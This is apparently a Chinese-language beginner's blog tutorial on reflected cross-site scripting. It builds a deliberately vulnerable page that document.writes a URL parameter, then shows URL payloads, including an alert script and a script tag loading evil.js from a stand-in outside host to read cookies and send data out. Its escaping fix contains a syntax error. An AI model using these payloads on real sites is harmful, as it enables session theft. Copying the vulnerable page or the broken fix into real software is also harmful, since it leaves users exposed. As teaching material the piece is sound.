js跨站腳本

xss
跨站腳本,稱爲xss這個術語用來表示一類的安全問題,指攻擊者向目標web站點注入html標籤或者腳本。html

來一個小栗子

 substring 返回介於二者之間的字符串,若是省去最後一個參數,則直接以length爲填充

window.location.search 返回/後面內容包括問號web

返回?後面的參數
window.location.search.substring(1)sql

decodeURIComponent() 將url進行解碼,返回解碼後的utf-8格式chrome

<!doctype html>
<html>
<head>
    <title>這是標題</title>
    <meta charset="utf-8">
</head>
<body>
    <script>
        var name = decodeURIComponent(window.location.search.substring(1));    // 獲取參數
        console.log(name);
        document.write("hello " + name);
    </script>
</body>
</html>

訪問跨域

http://abc.com:8887/?%20word
本地使用web server for chrome 完成了本地靜態服務器的搭建,使用host文件,強制修改home.abc.com 以及 abc.com 到 127.0.0.1 完成域名的綁定,由於js腳本不能本地運行,由於有跨域的限制

頁面輸出瀏覽器

hello word

這是一個灰常正經的頁面。
下面若是嘗試輸入安全

http://abc.com:8887/?%3Cscript%3Ealert("David")%3C/script

事實上如今的瀏覽器很智能了。。已經自動解析了。已經自動暫停解析了,最後加上%3e被瀏覽器攔截,自動的,去掉之後,因爲容錯機制,自動生成
好吧,要不是這容錯機制,xss還無法實驗呢。無奈,如今太智能了,小白的手法,已經不行嘍服務器

<script>
</script>

致使能容許。好吧,去掉自動攔截,chrome直接禁止訪問了。╮(╯▽╰)╭
https://developer.mozilla.org...
使用的是預解析,自動平衡樹cookie

此時script變身成爲xss

document.write('hello ' + <script>alert("David")</script)

好啦,接着,就會出現一個彈窗,David
由於使用這個url自動生成一個另一個腳本,因爲瀏覽器自動的安全措施,因此使用瀏覽器頁面預解析,寫一個不平衡的樹,初始瀏覽器解析的時候自動添加上

<script>
</script>
事實上,如今基本上都會屏蔽掉的,和sql注入同樣,都是很是小白的攻擊手法。╮(╯▽╰)╭

致使出現彈窗,xss完成
接着下面還有
使用src引入一個腳本。

http://abc.com:8887/?%3Cscript%20src=%E2%80%9Chttps://1.com/evil.js%E2%80%9D%3E%3C/script%3E

這樣就完成了一次腳本的注入。會將其餘站點的腳本,經過鏈接進行注入。
能夠對該站點的內容作任何的操做,以及讀取cookie,以及將數據發送回站點

事實上瀏覽器插件就是這樣乾的,在頁面中加入js腳本,經過更改頁面的js來達到對頁面修改的目的

更多內容 https://www.ibm.com/developer...

預防

經過使用replace()所有替換爲實體便可。

name = name.replace(/</g, "&lt;"),replace(/>/g, "&gt;");

總結

xss和sql注入同樣,屬於小白攻擊法,要說簡單也很簡單,要說難也很難

拒絕服務攻擊

若是一個站點無限彈窗,瀏覽器會卡死。包括使用js挖礦什麼的,都不值得一提了。

相關文章
相關標籤/搜索